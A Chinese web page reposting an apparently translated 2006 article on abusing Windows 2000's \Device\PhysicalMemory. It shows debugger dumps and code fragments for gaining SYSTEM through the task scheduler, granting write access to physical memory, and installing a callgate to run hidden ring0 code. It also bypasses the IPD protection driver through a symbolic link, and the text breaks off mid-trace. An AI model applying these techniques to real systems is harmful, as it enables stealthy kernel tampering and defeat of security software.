分享
 
 
 

玩转Windows /dev/(k)mem

王朝system·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

1、介绍

2、介绍WINDOWS对象

2.1 它们是什么

2.2 它们的结构

2.3 对象操作

3、介绍 \Device\PhysicalMemory

3.1 对象

3.2 需要写权限?

4、玩 \Device\PhysicalMemory

4.1 读/写内存

4.2 什么是Callgate

4.3 不用驱动运行ring0代码

4.4 深入到进程表

4.5 Bonus Track

5、代码示例

5.1 kmem.h

5.2 chmod_mem.c

5.3 winkdump.c

5.2 winkps.c

5.4 fun_with_ipd.c

6、结论

7、参考

--[ 1 介绍

本文介绍Windows /dev/kmem,我的研究是在Windows 2000 professional上实施的,这意味着本文中的

多数代码都可以在windows 2000版本上运行,稍经改动,也可以运行在XP上。很明显Windows 9x/Me不会支持,

因为它们的核心结构并不相同。

--[ 2 介绍Windows对象

Windows2000使用对象模型来提供非常简单的方式操作多数基本的核心元素。我们可以在本节看看这些对

象和怎么去操作它们。

----[ 2.1 What are they?

按照微软的说法,设计对象管理器只要来达到下面这些目的:

* 使用命名对象方便识别

* 支持POSIX子系统

* 提供方便的方法来操作系统资源

* 提供一种装填机制来限制进程使用的资源

* 顺应C2安全的要求。

有27种不同的对象类型:

* Adapter * File * Semaphore

* Callback * IoCompletion * SymbolicLink

* Controler * Job * Thread

* Desktop * Key * Timer

* Device * Mutant * Token

* Directory * Port * Type

* Driver * Process * WaitablePort

* Event * Profile * WindowStation

* EventPair * Section * WmiGuid

多数这些对象从命令就能够看出它们是关于什么的了。我会解释一些模糊的名字:

* 一个EventPair只是2个Event对象

* Mutant也被称为互斥体(Mutex),是一种处理资源访问的同步机制

* Port被LPC(Local Procedure Call)作Inter-Processus 通讯。

* Semaphore是限制访问资源的计数器

* Token (Access Token)是安全对象

* WindowStation是桌面对象容器。

这些对象可能类似目录树结构一样组织成:

- - ArcName (symbolic links to harddisk partitions)

- NLS (sections ...)

- Driver (installed drivers)

- WmiGuid

- Device (/dev linux like)

- DmControl

- RawDmVolumes

- HarddiskDmVolumes

- PhysicalDmVolumes

- Windows

- WindowStations

- RPC Control

- BaseNamedObjects

- Restricted

- ?? (current user directory)

- FileSystem (information about installable files system)

- ObjectTypes (contains all avaible object types)

- Security

- Callback

- KnownDlls (Contains sections of most used DLL)

"??"目录是当前用户目录,"Device"可以被看作跟LINUX上的/dev一样。你可以在Sysinternals网站上

找到这个结构。

----[ 2.2 他们的结构

每个对象都包含两部分:对象头和对象实体。Sven B. Schreiber在"Windows 2000 Undocumented Secrets"

一书中定义了多数没公开的头部结构。我们可以来看看这些头结构。

---

from w2k_def.h:

typedef struct _OBJECT_HEADER {

/*000*/ DWORD PointerCount; // number of references

/*004*/ DWORD HandleCount; // number of open handles

/*008*/ POBJECT_TYPE ObjectType; // pointer to object type struct

/*00C*/ BYTE NameOffset; // OBJECT_NAME offset

/*00D*/ BYTE HandleDBOffset; // OBJECT_HANDLE_DB offset

/*00E*/ BYTE QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset

/*00F*/ BYTE ObjectFlags; // OB_FLAG_*

/*010*/ union

{ // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock

/*010*/ PQUOTA_BLOCK QuotaBlock;

/*010*/ POBJECT_CREATE_INFO ObjectCreateInfo;

};

/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;

/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;

---

头部中的每个偏移量都是负数偏移量,因此你如果想从头结构中找到OBJECT_NAME结构,你应该这样计算:

address = object_header_address - name_offset

OBJECT_NAME结构允许创建者通过赋一个名字让对象对其他进程可见。

OBJECT_HANDLE_DB结构允许核心跟踪当前谁正在使用该对象。

OBJECT_QUOTA_CHARGES结构用来定义了进程访问对象的配额。

OBJECT_TYPE结构存储关于对象类型的全局信息,比如:默认的安全权限,对象大小,进程使用对象的默

认配额等。

对象绑定的安全描述符可以让核心来限制对象访问。

每一个对象类型的内部程序都十分接近C++对象中的构造和析构:

* dump method -可能是为了调试目的,总为NULL

* open method -当对象句柄打开时被调用

* close method -当对象句柄关闭时被调用

* delete method -当对象句柄删除时被调用

* parse method -查询对象列表时被调用

* security method -读写保护的当前的对象时被调用

* query method -当线程查询对象名时调用

* "ok to close" -线程关闭句柄时调用

对象体的结构完全依靠对象类型,在DDK中只有很少部分的对象体结构被公开。如果你对这些结构感兴

趣,你可以使用google :) 或者查看chapeaux-noirs的主页(参见[4])

--- [ 2.3 对象操作

以用户模式的观点来看,对象操作只要是通过Windows API来执行。比如,为了访问文件对象,可以使

用 fopen()/open(),它们调用 CreateFile(). 我们转化到核心模式 (NtCreateFile())在ntoskrnl.exe

中调用IoCreateFile()。通过反编译IoCreateFile(),可以看见一些函数,比如:ObOpenObjectByName,

ObfDereferenceObject,……

(BTW:如果用在DDK站点(参见[2])下载的win2k symbols,只能看见这些函数,用支持Windows Symbols

文件的反编译器比如IDA/kd/Softice 因为这些函数没有被导出。)

每个函数都以Ob开头,表示同对象管理器相关。基本上,普通的开发者不必去处理这些对象,但我们要

去看看。

对于用户模式,所有的对象管理器相关函数都可以被ntdll.dll输出,这里有一些例子:

NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,

NtMakeTemporaryObject, NtOpenDirectoryObject, ...

有些函数在MSDN中公开了,但是多数没有。

如果你真想理解对象的工作方法,最好看看ntoskrnl.exe中导出的以Ob开头的函数。有21个导出函数,

其中6个是公开的。

如果你想看看其他15个的原型,去ntifs.h的主页(参见[3])或者去chapeaux-noirs站点(参见[4])。

--[ 3 - 介绍\Device\PhysicalMemory

为了查看对象信息,我们需要一个类似微软DDK中的核心调试工具。好,让我们现在开始……

Microsoft(R) Windows 2000 Kernel Debugger

Version 5.00.2184.1

Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]

Full Kernel Dump File

Kernel Version 2195 UP Free

Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0

Loaded kdextx86 extension DLL

Loaded userkdx extension DLL

Loaded dbghelp extension DLL

f1919231 eb30 jmp f1919263

kd> !object \Device\PhysicalMemory

!object \Device\PhysicalMemory

Object: e1001240 Type: (fd038880) Section

ObjectHeader: e1001228

HandleCount: 0 PointerCount: 3

Directory Object: fd038970 Name: PhysicalMemory

从kd(kernel debugger)剖析基本对象告诉我们一些信息。不必解释所有内容的意义,他们中的大多数

都非常清楚只要你读了文章开头,如果没有,请"jmp dword Introduction_to_Windows_Objects"。 :)

感兴趣的是,它是一个Section对象,清楚地表明我们要处理内存。现在我们要dump对象的头结构。

kd> dd e1001228 L 6

dd e1001228 L 6

e1001228 00000003 00000000 fd038880 12200010

e1001238 00000001 e1008bf8

details:

--> 00000003 : PointerCount = 3

--> 00000000 : HandleCount = 0

--> fd038880 : pointer to object type = 0xfd038880

--> 12200010 --> 10 : NameOffset

--> 00 : HandleDBOffset

--> 20 : QuotaChargeOffset

--> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE

--> 00000001 : QuotaBlock

--> e1008bf8 : SecurityDescriptor

NameOffset存在,不要惊讶,这个对象有一个名字……,但是没有HandleDBOffset。这意味着这个对象

不跟踪分配的句柄。QuotaChargeOffset并不有意思,ObjectFlags告诉我们这个对象是永久对象,并且被核

心创建。

到现在还没有非常有意思的东西……

dump这个对象的名字结构,只是确信我们没有走错方向 :)。 (记住偏移量是负数)

kd> dd e1001228-10 L3

dd e1001228-10 L3

e1001218 fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory

--> 001c001c --> 001c : UNICODE_STRING.Length

--> 001c : UNICODE_STRING.MaximumLength

--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8

du e1008ae8

e1008ae8 "PhysicalMemory"

现在出现有意思的部分了,安全描述符:

kd> !sd e1008bf8

!sd e1008bf8

->Revision: 0x1

->Sbz1 : 0x0

->Control : 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

->Owner : S-1-5-32-544

->Group : S-1-5-18

->Dacl :

->Dacl : ->AclRevision: 0x2

->Dacl : ->Sbz1 : 0x0

->Dacl : ->AclSize : 0x44

->Dacl : ->AceCount : 0x2

->Dacl : ->Sbz2 : 0x0

->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl : ->Ace[0]: ->AceFlags: 0x0

->Dacl : ->Ace[0]: ->AceSize: 0x14

->Dacl : ->Ace[0]: ->Mask : 0x000f001f

->Dacl : ->Ace[0]: ->SID: S-1-5-18

->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl : ->Ace[1]: ->AceFlags: 0x0

->Dacl : ->Ace[1]: ->AceSize: 0x18

->Dacl : ->Ace[1]: ->Mask : 0x0002000d

->Dacl : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl : is NULL

总之,这意味着\Device\PhysicalMemory对象有下面的权限:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,

Query State, Modify State

user Administrator: Query Data, Query State

基本上,管理员用户没有权限写,但是SYSTEM可以,这实际上意味着管理员也可以做到!

一定注意到实际上这不象/dev/kmem!!在LINUX中/dev/kmem映射虚拟内存,\Device\PhysicalMemory

映射物理内存,本文更确切的标题应该是"Playing with Windows /dev/mem"因为/dev/mem映射物理内存,

但/dev/kmem听起来更熟悉些。:)

据我所知,在我写这篇文章的时候,Section对象体结构还没有解剖开,因此我们还不能分析它的结构。

----[ 3.2 需要“写”权限?

好,我们是用户administrator,并且打算玩玩感兴趣的对象,该怎么做呢?正如多数Windows管理员

所知,可以用schedule服务运行任何进程作为SYSTEM用户。如果你想确信你可以,只要启动schedule用

“net start schedule”并且去打开一个任务执行regedit.exe

c:\>at <when> /interactive regedit.exe

之后可以试试看看SAM注册表,如果能查看,那么你SYSTEM用户,如果不能,你就仍旧是administrator

因为只有用户SYSTEM才拥有读的权力。

好,如果我们是administrator用户,但如果我们允许任何人写\Device\PhysicalMemory会发生什么

呢?(当然是为了学习的目的)

我们只要给这个对象添加另一个ACL,就可以了。按照下面的步骤:

1、打开\Device\PhysicalMemory句柄 (NtOpenSection)

2、找到它的安全描述符 (GetSecurityInfo)

3、在当前ACL中添加Read/Write授权 (SetentriesInAcl)

4、更新安全描述符 (SetSecurityInfo)

5、关闭先前打开的句柄

可以参考示例代码:chmod_mem.c

当运行了chmod_mem.exe,我们再一次dump\Device\PhysicalMemory的安全描述符。

kd> !object \Device\PhysicalMemory

!object \Device\PhysicalMemory

Object: e1001240 Type: (fd038880) Section

ObjectHeader: e1001228

HandleCount: 0 PointerCount: 3

Directory Object: fd038970 Name: PhysicalMemory

kd> dd e1001228+0x14 L1

dd e1001228+0x14 L1

e100123c e226e018

kd> !sd e226e018

!sd e226e018

->Revision: 0x1

->Sbz1 : 0x0

->Control : 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

->Owner : S-1-5-32-544

->Group : S-1-5-18

->Dacl :

->Dacl : ->AclRevision: 0x2

->Dacl : ->Sbz1 : 0x0

->Dacl : ->AclSize : 0x68

->Dacl : ->AceCount : 0x3

->Dacl : ->Sbz2 : 0x0

->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl : ->Ace[0]: ->AceFlags: 0x0

->Dacl : ->Ace[0]: ->AceSize: 0x24

->Dacl : ->Ace[0]: ->Mask : 0x00000002

->Dacl : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl : ->Ace[1]: ->AceFlags: 0x0

->Dacl : ->Ace[1]: ->AceSize: 0x14

->Dacl : ->Ace[1]: ->Mask : 0x000f001f

->Dacl : ->Ace[1]: ->SID: S-1-5-18

->Dacl : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl : ->Ace[2]: ->AceFlags: 0x0

->Dacl : ->Ace[2]: ->AceSize: 0x18

->Dacl : ->Ace[2]: ->Mask : 0x0002000d

->Dacl : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl : is NULL

新的ACE(access-control entry)是Ace[0],拥有0x00000002权限(SECTION_MAP_WRITE)。需要更多

信息,可以查看MSDN中的Security win32 API [9]

--[ 4 - 玩转\Device\PhysicalMemory

为什么要来处理\Device\PhysicalMemory?我可以说用来读、写、修补内存。这已经足够了。 :)

----[ 4.1 读写内存

我们开始吧……

为了读写\Device\PhysicalMemory,必须:

1、打开对象句柄 (NtOpenSection)

2、转化虚拟内存地址为物理地址

3、映射section到物理空间 (NtMapViewOfSection)

4、在被映射的内存中读写数据

5、关闭section的映射 (NtUnmapViewOfSection)

6、关闭对象句柄 (NtClose)

现在我们的主要目的是怎么转化虚拟内存地址为物理地址。我们知道在核心模式(ring0),有一个函

数 MmGetPhysicalAddress (ntoskrnl.exe)可以做到。但是我们现在在ring3,因此必须来“模拟”这个

函数。

---

from ntddk.h

PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);

---

PHYSICAL_ADDRESS是quad-word (64 bits)的。原本打算在文章开头分析一下汇编代码,但是它太长

了。地址转化也很普通,我只想快点进行这个题目。

quad-word的低位被传递给eax,高位传递给edx。要转化虚拟地址到物理地址,可以有两种办法:

* case 0x80000000 <= BaseAddress < 0xA0000000:

我们唯一要做的只是提供一个0x1FFFF000掩码虚拟地址

* case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000

这种办法对于我们来说有点问题,因为我们并没有办法在这个范围转化地址,因为我们需要读cr3记

录或者运行非ring3可调用的汇编指令。需要更多信息,可参考Intel Software Developer's Manual

Volume 3 (see [5]).

EliCZ告诉我,以他的经验可以猜测一个物理地址偏移掩码,保留部分的索引。掩码:0xFFFF000

这是一个轻量级版本的MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {

if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {

return(BaseAddress & 0xFFFF000);

}

return(BaseAddress & 0x1FFFF000);

}

对于限定地址边界为[0x80000000, 0xA0000000]主要是这情况不能更成功地猜测正确。这就是为什么

如果你想更准确最好还是调用实际上的MmGetPhysicalAddress()。我们可以在一些章节中看到怎么做的。

请参考程序:See winkdump.c

使用winkdump之后,我意识到实际上还存在另外的问题。当转化0x877ef000以上的虚拟地址,物理地

址得到的结果是0x00000000077e0000以上,但在我的系统上根本不可能!

kd> dd MmHighestPhysicalPage l1

dd MmHighestPhysicalPage l1

8046a04c 000077ef

从上看出最后的物理页面定位在0x0000000077ef0000。这意味着我们只能dump一小片内存,但总之本

文的目的是为了得到更好的了解关于怎么用\Device\PhysicalMemory,而不只是做一个好的memory dumper。

虽然可dump的范围是ntoskrnl.exe 和 HAL.dll (Hardware Abstraction Layer)映射的区域,你仍然可以

做一些工具来dump系统调用表:

kd> ? KeServiceDescriptorTable

? KeServiceDescriptorTable

Evaluate expression: -2142852224 = 8046ab80

0x8046ab80是系统服务表结构,象这样的:

typedef struct _SST {

PDWORD ServiceTable; // array of entry points

PDWORD CounterTable; // array of usage counters

DWORD ServiceLimit; // number of table entries

PBYTE ArgumentTable; // array of byte counts

} SST, *PSST;

C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16

*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address : 0x8046ab80

Allocation granularity: 65536 bytes

Offset : 0xab80

Physical Address : 0x0000000000460000

Mapped size : 45056 bytes

View size : 16 bytes

d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)

Counter table : NULL

ServiceLimit : 248 (0xf8) syscalls

Argument table : 0x804708bc (symbol KiArgumentTable)

我们还没有dump248个系统调用地址,只是看了看类似这样的:

C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12

*** win2k memory dumper using \Device\PhysicalMemory ***

Virtual Address : 0x804704d8

Allocation granularity: 65536 bytes

Offset : 0x4d8

Physical Address : 0x0000000000470000

Mapped size : 4096 bytes

View size : 12 bytes

bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K.

* 0x804ab3bf (NtAcceptConnectPort)

* 0x804ae86b (NtAccessCheck)

* 0x804bdef3 (NtAccessCheckAndAuditAlarm)

在下面一节,我们会理解什么是callgate,以及我们同\Device\PhysicalMemory怎么用它们去解决

刚才地址转化的问题。

----[ 4.2 什么是 callgate

callgate是一种能让程序运行在比它实际权限更高权限下的机制。比如,ring3的程序可以去执行

ring0代码。

要创建一个callgate,必须指定:

1) 需要代码执行在什么ring等级

2) 当跳转到ring0时会被执行的函数地址

3) 传递给函数的参数

当callgate被访问的时候,处理器首先进行权限检查,保存当前的SS,ESP,CS,EIP寄存器,然后

加载segment selector和新的堆栈指针(ring0堆栈),从TSS到SS,EIP寄存器。这个指针就可以指到新

的ring0堆栈。SS和ESP寄存器被PUSH到堆栈中,参数被拷贝。CS和EIP(保存的)PUSH到堆栈中去调用程

序到新的堆栈。新的segment selector被加载用来处理从callgate被加载到CS和EIP中的新的代码片段和

指令指针。最后,它跳转到在创建callgate时候指定的函数地址。

一旦完成后,在ring0执行的函数必须清除自己的堆栈,这就是为什么我们在代码中定义函数的时候

要用_declspec(naked)(MS VC++ 6) (类似GCC中的__attribute__(stdcall))

---

from MSDN:

__declspec( naked ) declarator

对于用naked申明的函数,编译器不会产生prolog和epilog代码。你可以用这些特性通过inline汇编

码来写自己的prolog和epilog代码。

---

要了解关于更多关于callgate的信息,请参考Intel Software Developer's Manual Volume 1 ([5]).

为了安装一个Callgate,可以有两种选择:手工在GDT寻找新的空余入口,用来放置我们的Callgate;

或者用ntoskrnl.exe中的未公开函数,但是这些函数只能在ring0访问。由于我们并不在ring0,所以没有

太多的用处,但我还是简要地说明一下:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,

USHORT nSelectors);

NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,

USHORT nSelectors);

NTSTATUS KeI386SetGdtSelector(USHORT Selector,

PVOID Descriptor);

从它们的名字就可以知道其作用了。:) 因此,如果你打算安装一个callgate,首先使用

KeI386AllocateGdtSelectors() 分配一个GDT Selector, 然后通过KeI386SetGdtSelector 来设置。完成后,

通过KeI386ReleaseGdtSelectors来释放。

这还是很有意思,但是不符合我们的需要。因此在ring3执行代码的时候需要设置一个GDT Selector。

这接近\Device\PhysicalMemory了。在下一节,我会解释怎么用\Device\PhysicalMemory来安装callgate.

----[ 4.3 不用驱动运行ring0代码

第一个问题,“为什么运行ring0代码不需要用设备驱动?”

优点:

* 不需要向SCM注册服务

* 秘密代码 :)

缺点:

* 代码不能跟设备驱动那样稳定

* 需要添加写权限到\Device\PhysicalMemory

因此要紧记,当通过\Device\PhysicalMemory运行ring0代码的时候,你会遇到很多困难的。

现在我们可以写内存并且我们知道我们可以用callgate来运行ring0,那么还等什么呢?

首先,我们需要知道section的什么部分映射去读GDT表。这并不是问题,因为我们能访问全局的描述

符表记录通过sgdt编译指令。

typedef struct _KGDTENTRY {

WORD LimitLow; // size in bytes of the GDT

WORD BaseLow; // address of GDT (low part)

WORD BaseHigh; // address of GDT (high part)

} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;

_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

我们转化虚拟地址从BaseLow/BaseHigh到物理地址,然后我们隐射GDT表的基地址。我们很幸运,即

便GDT表地址并不在我们“想象”的范围内,它也能正确被转化 (99%的可能)

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,

ProcessHandle,

BaseAddress, // pointer to mapped memory

0L,

gGdt.LimitLow, // size to map

&PhysicalAddress,

&ViewSize, // pointer to mapped size

ViewShare,

0, // allocation type

PAGE_READWRITE); // protection

最后我们循环映射的地址去找到一个空闲的selector, 通过查看Callgate描述符结构中的"Present"

标记。

typedef struct _CALLGATE_DESCRIPTOR {

USHORT offset_0_15; // low part of the function address

USHORT selector;

UCHAR param_count :4;

UCHAR some_bits :4;

UCHAR type :4; // segment or gate type

UCHAR app_system :1; // segment descriptor (0) or system segment (1)

UCHAR dpl :2; // specify which privilege level can call it

UCHAR present :1;

USHORT offset_16_31; // high part of the function address

} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

offset_0_15 和 offset_16_31正好是函数地址的低位 和 高位。selector可以是下面所列的一个:

--- from ntddk.h

#define KGDT_NULL 0

#define KGDT_R0_CODE 8 // <-- what we need (ring0 code)

#define KGDT_R0_DATA 16

#define KGDT_R3_CODE 24

#define KGDT_R3_DATA 32

#define KGDT_TSS 40

#define KGDT_R0_PCR 48

#define KGDT_R3_TEB 56

#define KGDT_VDM_TILE 64

#define KGDT_LDT 72

#define KGDT_DF_TSS 80

#define KGDT_NMI_TSS 88

---

一旦callgate被安装,就还有两步去得到最高的ring0权力:编写我们callgate调用的程序和调用

callgate。

正如在4.2中所介绍,我们需要编写一个函数,并且有ring0的prolog / epilog,而且我们需要自己

清除堆栈。看看下面的示例代码:

void __declspec(naked) Ring0Func() { // our nude function :]

// ring0 prolog

_asm {

pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack

pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack

cli // disable interrupt

}

// execute your ring0 code here ...

// ring0 epilog

_asm {

popfd // restore registers pushed by pushfd

popad // restore registers pushed by pushad

retf // you may retf <sizeof arguments> if you pass arguments

}

}

推送所有的寄存器到堆栈中可以让我们在ring0代码执行的时候保存下所有的寄存器。

还剩一步,调用callgate……

一个基本的调用不适用与这种定位于ring0而实际在ring3的callgate程序。我们需要进行"far call"

(inter-privilege level call), 因此为了调用callgate,必须这样做:

short farcall[3];

farcall[0 --> 1] = offset from the target operand. This is ignored when a

callgate is used according to "IA-32 Intel Architecture Software

Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

这个时候,我们可以调用自己的callgate通过inline汇编。

_asm {

push arg1

...

push argN

call fword ptr [farcall]

}

我忘记提醒了,callgate函数中,farcall的第一个参数定位在[ebp+0Ch]。

----[ 4.4 深入进程列表

现在我们可以去看看怎么用最低的等级去列举核心的进程。这个目的就是为了在低等级下创建一个

核心进程枚举程序,可以用来查看被rootkit隐藏的进程 (修改过taskmgr.exe,系统调用hook等)

- Process32First/Process32Next, 最简单的公开途径(基态)

- 使用Class 5的NtQuerySystemInformation,Native API。虽然没有被公开,但是网上有很多例

子(level -1)

- 用ExpGetProcessInformation,它实际是被NtQuerySystemInformation所调用的(level -2)

- 读取双向链表PsActiveProcessHead (Level -3) :p

现在我们已经足够深入了。这个双向链表看起来象这样:

APL (f): ActiveProcessLinks.FLink

APL (b): ActiveProcessLinks.BLink

process1 process2 process3 processN

0x000 |----------| |----------| |----------|

| EPROCESS | | EPROCESS | | EPROCESS |

| ... | | ... | | ... |

0x0A0 | APL (f) |----->| APL (f) |----->| APL (f) |-----> ...

0x0A4 | APL (b) | \-<--| APL (b) | \-<--| APL (b) | \-<-- ...

| ... | | ... | | ... |

|----------| |----------| |----------|

正如你所见(也许我的示意图画得不好),ActiveProcessLinks结构的next/prev指针不是_EPROCESS

结构指针。它们指向的是另一个LIST_ENTRY结构。这意味着如果我们要得到_EPROCESS结构地址,必须调

节指针。

(请看例程中kmem.h定义的_EPROCESS结构)

LIST_ENTRY ActiveProcessLinks位于_EPROCESS结构的偏移0x0A0:

--> Flink = 0x0A0

--> Blink = 0x0A4

因此,我们可以创建一些宏供以后使用:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS

#define TO_PID(_a) ((char *) _a - 0x4) // Flink to UniqueProcessId

#define TO_PNAME(_a) ((char *) _a + 0x15C) // Flink to ImageFileName

LIST_ENTRY链表的头是PsActiveProcessHead。可以用kd得到它的地址:

kd> ? PsActiveProcessHead

? PsActiveProcessHead

Evaluate expression: -2142854784 = 8046a180

只需要知道一件事情。这个链表改变非常的快,你可以在读之前锁定它。下面的程序是用汇编来读

ExpGetProcessInformation:

mov ecx, offset _PspActiveProcessMutex

call ds:__imp_@ExAcquireFastMutex@4

[...]

mov ecx, offset _PspActiveProcessMutex

call ds:__imp_@ExReleaseFastMutex@4

ExAcquireFastMutex 和 ExReleaseFastMutex被定义为_fastcall,因此参数被反向顺序压栈

(exc,edx,……)。它们在HAL.dll输出。BTW,我没有在winkps.c中锁定。 :)

首先我们安装一个callgate来执行ring0函数 (MmGetPhysicalAddress and

ExAcquireFastMutex/ExReleaseFastMutex) ,然后我们枚举进程,最后移除callgate。

请看winkps.c

你在例程中所见,安装callgate是简单的一步。困难的部分是读LIST_ENTRY结构。这有点点奇怪,

因为读一个链表不应该象假定的那么困难,但是要清楚的是,我们在处理物理内存。

首先要避免使用太多的callgate,要尽可能少用。记住,在ring3运行ring0代码不是“好事”。在

线程执行的分配级就会发生问题,第二,你的线程(我认为)会有比设备驱动更低的优先权,即使你使

用SetThreadPriority()。

调度程序基于两件事情进行调度,进程的基本优先权和当前优先权,当你用win32 API SetThreadPriority()

修改线程的优先权,当前优先权被改变,但是它只是相对于基本优先权而言的。在ring3,没有办法去

改变进程的基本优先权。

为了不去影射进程所有的section,我只在需要的时侯映射1mb的section。我认为这是最好的办法,

因为多数的EPROCESS结构被定位在0xfce***** 到 0xfcf*****范围内。

C:\coding\phrack\winkps\Release>winkps

*** win2k process lister ***

Allocation granularity: 65536 bytes

MmGetPhysicalAddress : 0x804374e0

virtual address of GDT : 0x80036000

physical address of GDT: 0x0000000000036000

Allocated segment : 3fb

mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)

mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)

+ 8 System

mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)

+ 136 smss.exe

+ 160 csrss.exe

+ 156 winlogon.exe

+ 208 services.exe

+ 220 lsass.exe

+ 420 regsvc.exe

+ 436 svchost.exe

+ 480 svchost.exe

+ 524 WinMgmt.exe

mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)

+ 656 Explorer.exe

+ 764 OSA.EXE

+ 660 mdm.exe

+ 752 cmd.exe

+ 532 msdev.exe

+ 604 ssh.exe

+ 704 Livekd.exe

+ 716 i386kd.exe

+ 448 uedit32.exe

+ 260 winkps.exe

3 sections mapping + 1 来选择第一个进程队列看起来还不错。我会在winkps.c中仔细描述,但

最好还是花时间去读代码。

winkps.c的流程

- GetSystemInfo()

先分配系统的间隔 (用于计算地址转化的偏移)

- LoadLibrary()

取得ntoskrnl.exe中的MmGetPhysicalAddress地址。这也可以通过分解PE头做到。

- NtOpenSection

r/w打开\Device\PhysicalMemory

- InstallCallgate()

映射section来安装和删除callgate,并且用第二个参数作为Callgate函数来安装。

- DisplayProcess()

主循环。通过异常处理捕获错误。我这样做是为了尝试清除Callgate即使发生类似越界访问的错

误(错误的映射就会发生)

- UninstallCallgate()

删除Callgate,取消映射

- NtClose()

简单地关闭句柄 :)

现在,你最好读代码了,并且尝试重写winkdump.c,用支持callgate更好的地址转化。 :>

----[ 4.5 Bonus Track

我能知道的是,现在唯一的产品来限制\Device\PhysicalMemory访问的是"Integrity Protection

Driver (IPD)" Pedestal Software (see [6]).

---

from README:

The IPD forbids any process from opening \Device\PhysicalMemory.

---

呵呵,用ipd,我们也要去接触\Device\PhysicalMemory, :) 我不知道这个产品是否有名,但是无

论如何,我都要绕过它的保护。为了限制访问\Device\PhysicalMemory, IPD hook了ZwOpenSection(),

并且检查是否Section没有通过调用\Device\PhysicalMemory来被打开。

---

from h_mem.c

if (restrictEnabled()) {

if (ObjectAttributes && ObjectAttributes->ObjectName &&

ObjectAttributes->ObjectName->Length>0) {

if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,

L"\\Device\\PhysicaMemory")==0) {

WCHAR buf[200];

swprintf(buf,

L"Blocking device/PhysicalMemory access,

procid=0x%x\n", PsGetCurrentProcessId());

debugOutput(buf);

return STATUS_ACCESS_DENIED;

}

}

}

---

_wcsicmp()提供了两个Unicode buffer的小写比较,因此,我们想办法用其他的名字打开对象。在

第一节中,我们已经看见有symbolic link对象类型,因此,如果我们可以用symbolic link对象连接到

\Device\PhysicalMemory,那不就很好了?

通过查看ntdll.dll的导出表,你可以找到一个叫"NtCreateSymbolicLinkObject"的函数,跟其他很

多有意思的东西一样,它也没有被公开。它的原型类似:

NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObAttributes,

PUNICODE_STRING ObName);

因此,我们只需要用"\Device\PhysicalMemory"作为ObName来调用这个函数,并在OBJECT_ATTRIBUTES

结构中设置新的名字。我们用"\??\"作为对象的根目录,那么名字就是:"\??\hack_da_ipd"。

起初,我问自己当用"\??\hack_da_ipd"来调用NtOpenSection的时候,核心怎么来处理symbolic link。

如果NtOpenSection检查目标对象是一个symbolic link,那么就再次调用 NtOpenSection,并且用对象的

真实名字,我们的symbolic link没有用处,因为IPD能探测得到。因此我跟踪了一下:

---

[...]

3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0,

"\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0

4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0

5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...

{124, 148, 2, 868, 840, 7002, 0}, ) == 0x0

6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )

== 0x0

